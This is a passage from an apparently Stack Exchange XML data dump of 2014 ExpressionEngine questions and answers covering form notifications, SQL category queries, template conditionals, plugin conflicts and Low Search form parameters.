&lt;p&gt;&lt;strong&gt;&lt;em&gt;everywhere&lt;/em&gt;&lt;/strong&gt;: The search will be conducted in the title, entry fields,&#xA;  and in associated comments. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;titles&lt;/em&gt;&lt;/strong&gt;: The search will be conducted in&#xA;  the title of your entries. The channel entry fields and any associated&#xA;  comments will not be included. If this parameter is not set, the&#xA;  search will default to only search by “titles”.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-09-23T11:14:42.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25818" PostTypeId="1" AcceptedAnswerId="25821" CreationDate="2014-09-23T12:34:19.407" Score="0" ViewCount="147" Body="&lt;p&gt;Is it possible to send a user notification with a pdf attached to users who fill in a form via Freeform Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be the same pdf for every user (terms and conditions for a site i'm working on)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought a way round it might be to have it as a hidden field on the form and create a file upload field within that form. As I can see that it is possible to add attachments to the user notification if any files are uploaded when the form is submitted. But the problem would be that forms would take a little longer to submit for the user and I'd end up with potentially hundreds of copies of the pdf on the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone offer any advice or solution? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2014-10-23T14:10:35.017" Title="Is it possible to attach a PDF to user notifications in Freeform Pro" Tags="|solspace-freeform|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25820" PostTypeId="2" ParentId="25815" CreationDate="2014-09-23T13:03:33.553" Score="6" Body="&lt;p&gt;I believe this is what you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT exp_channel_data.entry_id AS entry_id, exp_channel_titles.title AS title, exp_channel_titles.url_title AS url_title, GROUP_CONCAT(cp.cat_id SEPARATOR '|') AS categories&#xA;FROM exp_channel_data&#xA;LEFT JOIN exp_channel_titles ON exp_channel_titles.entry_id = exp_channel_data.entry_id&#xA;LEFT JOIN exp_category_posts AS cp ON exp_channel_data.entry_id = cp.entry_id&#xA;GROUP BY entry_id&#xA;LIMIT 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-09-23T13:03:33.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25821" PostTypeId="2" ParentId="25818" CreationDate="2014-09-23T14:09:42.890" Score="0" Body="&lt;p&gt;I don't think it's possible to do this but you can approach it in a different way which would probably be less problematic in the long run too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PDFs really bulk up the size of email and are a highly ranked trigger for spam filters. Because of this, you'd most likely end up with delivery problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you say the PDF would be the same for all users, a different, and possibly better solution, would be to include a link to the PDF which would be hosted on your site somewhere (it can be hidden away). That way you aren't sending a comparatively large file in a small email and thus running less risk of tripping a filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A second approach might be to simply include the T&amp;amp;Cs as text within the email. Is there a specific reason it needs to be a PDF?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-23T14:09:42.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25822" PostTypeId="1" CreationDate="2014-09-23T14:24:40.557" Score="1" ViewCount="108" Body="&lt;p&gt;It looks like Expresso store during the checkout process allows to use disallowed characters in postal code and city fields for shipping. Also postal code allows to put only 2 characters when shorter in the world is 3 digits. It creates problems when UPS or FedEx modules are used for shipping calculation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue how to limit postal code when shipping is only in the States and validate city name if doesn't contains numbers etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-10-24T00:11:04.113" Title="Expresso store checkout process - shipping city and postal code validation (disallowed characters)" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25823" PostTypeId="2" ParentId="25790" CreationDate="2014-09-23T14:45:45.977" Score="0" Body="&lt;p&gt;It looks like you need to use the particular file as a tag pair around file_size. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{downloads}&#xA;  {download_name} {download_file}{file_size}{/download_file}&#xA;{/downloads}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-09-23T14:45:45.977" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25824" PostTypeId="1" CreationDate="2014-09-23T16:34:17.083" Score="0" ViewCount="171" Body="&lt;p&gt;I am using the following code within channel:form on EE 2.9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Categories:&#xA;{category_menu}&#xA;&#xA;{select_options}&#xA;&#xA;{/category_menu}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that all my categories show up, I would like the limit it to one of my categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using category_group and category=&quot;5&quot; but nothing worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3248" LastActivityDate="2015-03-24T13:23:34.893" Title="How to exclude a category within channel:form" Tags="|categories|safecracker|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25825" PostTypeId="1" AcceptedAnswerId="25832" CreationDate="2014-09-23T16:43:01.320" Score="0" ViewCount="106" Body="&lt;p&gt;I'm using Zoo Visitor and Playa. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried lots of different conditionals for &quot;if no playa parent&quot; to show the title of a parent entry for a Zoo Visitor member. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to display something else if there is no parent. However, can't seem to find a technique that works. Techniques 1, 2 and 3 all print out the parent title, but they don't print out the else condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions or ideas would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details}&#xA;{exp:playa:parents channel=&quot;channel_name&quot;} &#xA;&#xA;{if count == 1}&#xA;&#xA;    {title}&#xA;&#xA;{if:else}&#xA;&#xA;    Do something else&#xA;&#xA;{/if}&#xA;&#xA;{/exp:playa:parents}&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details}&#xA;{exp:playa:parents channel=&quot;channel_name&quot;} &#xA;&#xA;    {if count &amp;gt; 0}&#xA;&#xA;        {title}&#xA;&#xA;    {if:else}&#xA;&#xA;        Do something else&#xA;&#xA; {/if}&#xA;&#xA;{/exp:playa:parents}&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details}&#xA;{exp:playa:parents channel=&quot;channel_name&quot;} &#xA;&#xA;{if {exp:playa:total_parents} &amp;gt; 0}&#xA;&#xA;    {title}&#xA;&#xA;{if:else}&#xA;&#xA;    Do something else&#xA;&#xA;{/if}&#xA;&#xA;{/exp:playa:parents}&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4)&lt;/strong&gt; Doesn't even echo out the title&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details}&#xA;{exp:playa:parents channel=&quot;channel_name&quot;} &#xA;&#xA;     {if total_parents == 1}&#xA;&#xA;            {title}&#xA;&#xA;    {if:else}&#xA;&#xA;            Do something else&#xA;&#xA;   {/if}&#xA;&#xA;{/exp:playa:parents}&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2014-09-23T20:57:42.290" Title="Playa - If no parent conditional" Tags="|playa|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25826" PostTypeId="1" CreationDate="2014-09-23T17:34:09.030" Score="0" ViewCount="286" Body="&lt;p&gt;I want to display one field, called {gearboxx_body}, unless that field has more then 300 characters, in which case I want to display a field called {article_blurb}. I'm pretty sure there isn't a way to do this just in EE fields and conditionals, so I tried some PHP, which I'm just starting to learn:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;  $info = array('{gearboxx_body}','{article_blurb}');&#xA;&#xA;  if(mb_strlen($info[0]) &amp;lt;= 300) &#xA;    echo($info[0]);&#xA;  }&#xA;&#xA;  else {&#xA;   echo($info[1]);&#xA;  }&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that works well, but there's a problem. If the tag includes any apostrophes or quote marks, it ends the string and the page won't load. So what can I do about this? I've tried to replace the quote marks in the string, but I have to have loaded the string from the fields first, and as soon as I do that the page is already broken. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that made sense. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I should also mention that I &lt;strong&gt;do not&lt;/strong&gt; want to install an external plugin.&lt;/p&gt;&#xA;" OwnerUserId="3607" LastEditorUserId="159" LastEditDate="2014-09-24T08:44:48.183" LastActivityDate="2014-09-30T08:37:29.017" Title="Check field length" Tags="|php|fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25827" PostTypeId="1" AcceptedAnswerId="25831" CreationDate="2014-09-23T18:11:11.883" Score="0" ViewCount="60" Body="&lt;p&gt;About a month I was working on a client site and was able to access and edit all of the CartThrob settings screens, including Shipping, Taxes, and Payments.  Now, as of last week, whenever I try to access any of them they are all white screens.  No changes were made to system files in that time (i.e. no commits to the repo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have turned on all debugging with no results and upgraded all the plugins and extensions that I can with no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was originally on an EE 2.7.2 platform, so I tried a direct upgrade to the latest 2.9.0 and was completely unable to access the control panel due to the following error: &lt;code&gt;An Error Was Encountered. Unable to load the requested class: services_json&lt;/code&gt;  Unable to resolve that issue I reverted back to 2.7.2 and tried the next sequential update to 2.7.3.  That update worked but the CartThrob settings pages are still white screened.  I've emailed EllisLab to request the install files for 2.8.0 to try the next sequential update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any reference to conflicts between CartThrob and another extension but maybe someone here has come across something before.  Here's a list of current modules:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dHBeH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hSLzw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and Plugins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XATCO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2002" LastActivityDate="2014-09-23T20:07:27.370" Title="All CartThrob settings screens are white screened" Tags="|cartthrob|white-screen-of-death|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25829" PostTypeId="2" ParentId="9079" CreationDate="2014-09-23T19:12:43.123" Score="0" Body="&lt;p&gt;si usas  centos estas lineas son la solución:&#xA;Fatal error: Class 'DOMDocument' not found in /var/www/html/ include/ &#xA;dompdf.cls.php on line 177 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solved the problem by: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To install PHP-XML run the following command: yum install php-xml &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To install DOM/XML run the following command: yum whatprovides php-dom &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To restart Apache run the following command: service httpd restart &lt;/p&gt;&#xA;" OwnerUserId="3609" LastActivityDate="2014-09-23T19:12:43.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25830" PostTypeId="2" ParentId="25758" CreationDate="2014-09-23T19:42:39.597" Score="0" Body="&lt;p&gt;Answering my own question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each channel has its own setting for the field used by {excerpt} under &lt;em&gt;Admin &gt; Channels &gt; Edit Preferences &gt; Which field should be used for search excerpt?&lt;/em&gt;. Matrix field types can be selected and used like any other type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, using a Matrix field here does give erratic results compared to a textfield. The excerpt sometimes starts with the search term, truncating content before it. Other times it makes no truncation and just prints the first X characters of all tabs combined instead, even if they don’t include the search term. Sometimes it doesn't bold the search term. &lt;/p&gt;&#xA;" OwnerUserId="1890" LastActivityDate="2014-09-23T19:42:39.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25831" PostTypeId="2" ParentId="25827" CreationDate="2014-09-23T20:07:27.370" Score="0" Body="&lt;p&gt;It turns out I missed the devot:ee Monitor accessory, and in looking to upgrade that one came across &lt;a href=&quot;http://devot-ee.com/news/item/this-week-in-devotee-march-20-2014&quot; rel=&quot;nofollow&quot;&gt;this blog post from devot:ee&lt;/a&gt; that Monitor has been retired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as that was uninstalled, I was again able to access CartThrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like there should be a better, faster way to determine which extensions are causing conflicts.  Is this something that should be integrated in each extension (in this case, CartThrob) or in EE itself?&lt;/p&gt;&#xA;" OwnerUserId="2002" LastActivityDate="2014-09-23T20:07:27.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25832" PostTypeId="2" ParentId="25825" CreationDate="2014-09-23T20:57:42.290" Score="0" Body="&lt;p&gt;This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_results &amp;gt; 0}&#xA;    {title}&#xA;{/if}&#xA;&#xA;{if no_parents}&#xA;    Something else&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-09-23T20:57:42.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25833" PostTypeId="2" ParentId="25824" CreationDate="2014-09-23T22:20:11.137" Score="1" Body="&lt;p&gt;According to the documentation you should be able to set &lt;code&gt;category=&quot;5&quot;&lt;/code&gt; take a look at the bit about &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html#category&quot; rel=&quot;nofollow&quot;&gt;parameters&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please update your question with your template code.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-09-23T22:20:11.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25835" PostTypeId="2" ParentId="25822" CreationDate="2014-09-23T23:30:38.093" Score="1" Body="&lt;p&gt;There are a couple of ways that you can validate your fields. You could use HTML5 validators such as &lt;code&gt;number&lt;/code&gt; for zip codes. Something along the lines of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;number&quot; name=&quot;billing_postcode&quot; maxlength=&quot;5&quot; minlength=&quot;5&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Personally though I prefer using the &lt;a href=&quot;https://ellislab.com/codeigniter/user-guide/libraries/form_validation.html#rulereference&quot; rel=&quot;nofollow&quot;&gt;CodeIgniter Styled Validation Rules&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA; rules:billing_postcode=&quot;required|numeric|min_length[5]|max_length[5]&quot;&#xA; rules:billing_city=&quot;min_length[3]|alpha&quot;&#xA; rules:phone=&quot;numeric&quot; {!-- this would be applied to both shipping and billing fields --}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Store documentation on &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#rules_field_name_rule&quot; rel=&quot;nofollow&quot;&gt;Rules&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-09-23T23:30:38.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25836" PostTypeId="2" ParentId="25617" CreationDate="2014-09-24T00:14:32.710" Score="1" Body="&lt;p&gt;You would need to create an extension if you wanted to include the PDF as an attachment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have done something similar in the past with &lt;a href=&quot;http://devot-ee.com/add-ons/pdf-press&quot; rel=&quot;nofollow&quot;&gt;PDF Press&lt;/a&gt; and a link in the email that when clicked would direct to a specific template (using the order hash) that would create the PDF and start the download. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-09-24T00:14:32.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25837" PostTypeId="1" CreationDate="2014-09-24T03:54:32.417" Score="1" ViewCount="256" Body="&lt;p&gt;So I have a grid field with two columns, one of which is a Wygwam field, the other a relationship field. I want to list all the rows in the grid, outputting the Wygwam field as the text, and surrounding it in a link to the relationship field only if a related entry has been selected. Not all rows will have related entries selected. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ol&amp;gt;&#xA;    {my-grid-field}&#xA;        &amp;lt;li&amp;gt;&#xA;            {my-grid-field:my-relationship-field}&#xA;                {if '{my-grid-field:my-relationship-field:total_results}' &amp;gt; '0'}&#xA;                    &amp;lt;a href=&quot;{path='template-group/template/{my-grid-field:my-relationship-field:url_title}'}&quot;&amp;gt;{my-grid-field:my-wygwam-field}&amp;lt;/a&amp;gt;&#xA;                {if:else}&#xA;                    {my-grid-field:my-wygwam-field}&#xA;                {/if}&#xA;            {/my-grid-field:my-relationship-field}&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/my-grid-field}&#xA;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code outputs a numbered list but only displays items where the conditional is true. The other items are blank. So if the first and fifth items have related entries, the list looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 [Wygwam field with correct link around it]&#xA;2&#xA;3&#xA;4&#xA;5 [Wygwam field with correct link around it]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1575" LastEditorUserId="1575" LastEditDate="2014-09-25T20:58:29.557" LastActivityDate="2014-09-25T20:58:29.557" Title="Outputting a relationship field inside a grid field" Tags="|relationships|conditionals|grid|related-entries|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25838" PostTypeId="1" CreationDate="2014-09-24T06:16:54.740" Score="0" ViewCount="159" Body="&lt;p&gt;I'm starting to get the hang of Low Search, but am still running into a bit of confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have my &lt;code&gt;{exp:low_search:form}&lt;/code&gt; and &lt;code&gt;{exp:low_search:results}&lt;/code&gt; tags up and working fine. When I search, for instance, using keywords, the resulting page has my keyword in the keywords field, and my &lt;code&gt;{exp:low_search:param get=&quot;keywords&quot; query=&quot;{segment_3}&quot;}&lt;/code&gt; tag is outputting the keyword, and my search results are valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I create a shortcut for that exact search (created from the search log), my search results work fine, but my form doesn't have the values selected, and my param tag doesn't output anything...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something, or is this just not yet a feature of Low Search? If I'm using a shortcut, how can I access the search parameters used so that I can have my field defaults set, and how can I display the params outside of the results tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.9.0 and Low Search 3.2.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here is my &lt;code&gt;{exp:low_search:form}&lt;/code&gt; tag in it's entirety... My url is like &lt;code&gt;/library/search/helen/&lt;/code&gt;. I am seeing the correct search results in my results tag for this shortcut, but cannot set the pre-selected form fields for this search...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form&#xA;    query=&quot;{segment_3}&quot;&#xA;    shortcut=&quot;{segment_3}&quot;&#xA;    result_page=&quot;library/search&quot; &#xA;    form_id=&quot;search&quot;        &#xA;    }&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;keywords&quot; class=&quot;the_label&quot;&amp;gt;Keywords&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; class=&quot;form-control&quot; value=&quot;{low_search_keywords}&quot; placeholder=&quot;Keywords&quot;&amp;gt;&#xA;            {if low_search_keywords_missing} Please enter keywords{/if}&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;collection[]&quot; value=&quot;library_content&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;loose_ends&quot; value=&quot;right&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;search_mode&quot; value=&quot;auto&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- /.form-group --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;keywords&quot; class=&quot;the_label&quot;&amp;gt;State / Territory&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select name=&quot;search:library_state_territory&quot; id=&quot;option&quot; class=&quot;form-control&quot;&amp;gt;&#xA;              &amp;lt;option value=&quot;&quot;&amp;gt;-- Select State / Territory --&amp;lt;/option&amp;gt;&#xA;              {exp:low_options:library_state_territory channel=&quot;library_content&quot;}&#xA;                {if option:group != ''}&amp;lt;optgroup label=&quot;{option:group}&quot;&amp;gt;{/if}&#xA;                {options}&#xA;                  &amp;lt;option value=&quot;{option:value}&quot;{if option:value == low_search_search:library_state_territory} selected{/if}&amp;gt;&#xA;                    {option:label}&#xA;                  &amp;lt;/option&amp;gt;&#xA;                {/options}&#xA;                {if option:group != ''}&amp;lt;/optgroup&amp;gt;{/if}&#xA;              {/exp:low_options:library_state_territory}&#xA;            &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- /.form-group --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;tag-group-2&quot; class=&quot;the_label&quot;&amp;gt;Type&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;select name=&quot;tag_name:group2[]&quot; id=&quot;tag-group-2&quot; size=&quot;5&quot; multiple class=&quot;form-control&quot;&amp;gt;&#xA;              {exp:tag:cloud groups=&quot;1&quot; tag_group_id=&quot;2&quot;}&#xA;                &amp;lt;option value=&quot;{tag_name}&quot;{if low_search_tag_name:group2 ~ '/(^|\|)'.tag_name.'($|\|)/'} selected{/if}&amp;gt;&#xA;                  {tag}&#xA;                &amp;lt;/option&amp;gt;&#xA;              {/exp:tag:cloud}&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- /.form-group --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;date_range&quot; class=&quot;the_label&quot;&amp;gt;Date range&amp;lt;/label&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;div class=&quot;input-daterange input-group&quot; id=&quot;datepicker&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; class=&quot;input-sm form-control&quot; name=&quot;range-from:library_date_published&quot; value=&quot;{low_search_range-from:library_date_published}&quot;/&amp;gt;&#xA;                &amp;lt;span class=&quot;input-group-addon&quot;&amp;gt;to&amp;lt;/span&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; class=&quot;input-sm form-control&quot; name=&quot;range-to:library_date_published&quot; value=&quot;{low_search_range-to:library_date_published}&quot;/&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- /.form-group --&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;            &amp;lt;label for=&quot;tag-group-4&quot; class=&quot;the_label&quot;&amp;gt;Population Group&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;select name=&quot;tag_name:group4[]&quot; id=&quot;tag-group-4&quot; size=&quot;5&quot; multiple class=&quot;form-control&quot;&amp;gt;&#xA;              {exp:tag:cloud groups=&quot;1&quot; tag_group_id=&quot;4&quot;}&#xA;                &amp;lt;option value=&quot;{tag_name}&quot;{if low_search_tag_name:group4 ~ '/(^|\|)'.tag_name.'($|\|)/'} selected{/if}&amp;gt;&#xA;                  {tag}&#xA;                &amp;lt;/option&amp;gt;&#xA;              {/exp:tag:cloud}&#xA;            &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- /.form-group --&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;button type=&quot;submit&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I have these tags set up to display the currently used search filters... but they don't work with the shortcut either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;active-search-filters-container&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;pull-left&quot;&amp;gt;Search Parameters:&amp;lt;/label&amp;gt;&#xA;    {if '{exp:low_search:param get=&quot;keywords&quot; query=&quot;{segment_3}&quot; shortcut=&quot;{segment_3}&quot;}' != ''}&#xA;        &amp;lt;div data-member-id=&quot;1&quot; class=&quot;search-parameter keyword&quot;&amp;gt;&#xA;            &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-default btn-xs&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;Keyword(s):&amp;lt;/strong&amp;gt; {exp:low_search:param get=&quot;keywords&quot; query=&quot;{segment_3}&quot;}&amp;amp;nbsp;&#xA;                {!--&amp;lt;span class=&quot;glyphicon glyphicon-remove&quot;&amp;gt;&amp;lt;/span&amp;gt;--}&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;    {if '{exp:low_search:param get=&quot;search:library_state_territory&quot; query=&quot;{segment_3}&quot; shortcut=&quot;{segment_3}&quot;}' != ''}&#xA;        &amp;lt;div data-member-id=&quot;1&quot; class=&quot;search-parameter state&quot;&amp;gt;&#xA;            &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-default btn-xs&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;State:&amp;lt;/strong&amp;gt; {exp:low_search:param get=&quot;search:library_state_territory&quot; query=&quot;{segment_3}&quot;}&amp;amp;nbsp;&#xA;                {!--&amp;lt;span class=&quot;glyphicon glyphicon-remove&quot;&amp;gt;&amp;lt;/span&amp;gt;--}&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;    {if '{exp:low_search:param get=&quot;range-from:library_date_published&quot; query=&quot;{segment_3}&quot; shortcut=&quot;{segment_3}&quot;}' != ''}&#xA;        &amp;lt;div data-member-id=&quot;1&quot; class=&quot;search-parameter date-range&quot;&amp;gt;&#xA;            &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-default btn-xs&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;Date Range:&amp;lt;/strong&amp;gt; {exp:low_search:param get=&quot;range-from:library_date_published&quot; query=&quot;{segment_3}&quot;}&amp;amp;nbsp;&#xA;                {if '{exp:low_search:param get=&quot;range-to:library_date_published&quot; query=&quot;{segment_3}&quot;}' != ''}&#xA;                    - {exp:low_search:param get=&quot;range-to:library_date_published&quot; query=&quot;{segment_3}&quot;}&#xA;                {/if}                       &#xA;                {!--&amp;lt;span class=&quot;glyphicon glyphicon-remove&quot;&amp;gt;&amp;lt;/span&amp;gt;--}&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;    {if '{exp:low_search:param get=&quot;tag_name:group2&quot; query=&quot;{segment_3}&quot; shortcut=&quot;{segment_3}&quot;}' != ''}&#xA;        &amp;lt;div data-member-id=&quot;1&quot; class=&quot;search-parameter 